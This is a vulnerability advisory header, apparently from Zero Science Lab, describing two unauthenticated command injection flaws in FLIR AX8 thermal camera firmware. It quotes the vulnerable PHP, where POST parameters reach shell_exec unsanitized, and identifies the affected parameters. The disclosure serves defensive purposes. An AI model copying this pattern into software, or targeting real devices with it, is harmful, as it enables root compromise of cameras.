# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-14
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board
# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14
# References:
# Advisory ID: ZSL-2018-5491
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5491.php

# Desc: The FLIR AX8 thermal sensor camera suffers from two unauthenticated
# command injection vulnerabilities. The issues can be triggered when calling
# multiple unsanitized HTTP GET/POST parameters within the shell_exec function
# in res.php and palette.php file. This can be exploited to inject arbitrary
# system commands and gain root remote code execution.

# /FLIR/usr/www/res.php:
# ----------------------
# 1. <?php
# 2. if (isset($_POST["action"])) {
# 3. switch ($_POST["action"]) {
# 4. case "get":
# 5. if(isset($_POST["resource"]))
# 6. {
# 7. switch ($_POST["resource"]) {
# 8. case ".rtp.hflip":
# 9. if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {
# 10.$result = "false";
# 11.break;
# 12.}
# 13.$result = file_get_contents("/FLIR/system/journal.d/horizontal_flip.cfg") === "1" ? "true" : "false";
# 14.break;
# 15.case ".rtp.vflip":
# 16.if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {
# 17.$result = "false";
# 18.break;
# 19.}
# 20.$result = file_get_contents("/FLIR/system/journal.d/vertical_flip.cfg") === "1" ? "true" : "false";
# 21.break;
# 22.default:
# 23.$result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o ".$_POST["resource"]));
# 24.}
# 25.}

# /FLIR/usr/www/palette.php:
# --------------------------
# 1. <?php
# 2. if(isset($_POST["palette"])){
# 3. shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette ".$_POST["palette"]);
# 4. echo json_encode(array("success"));
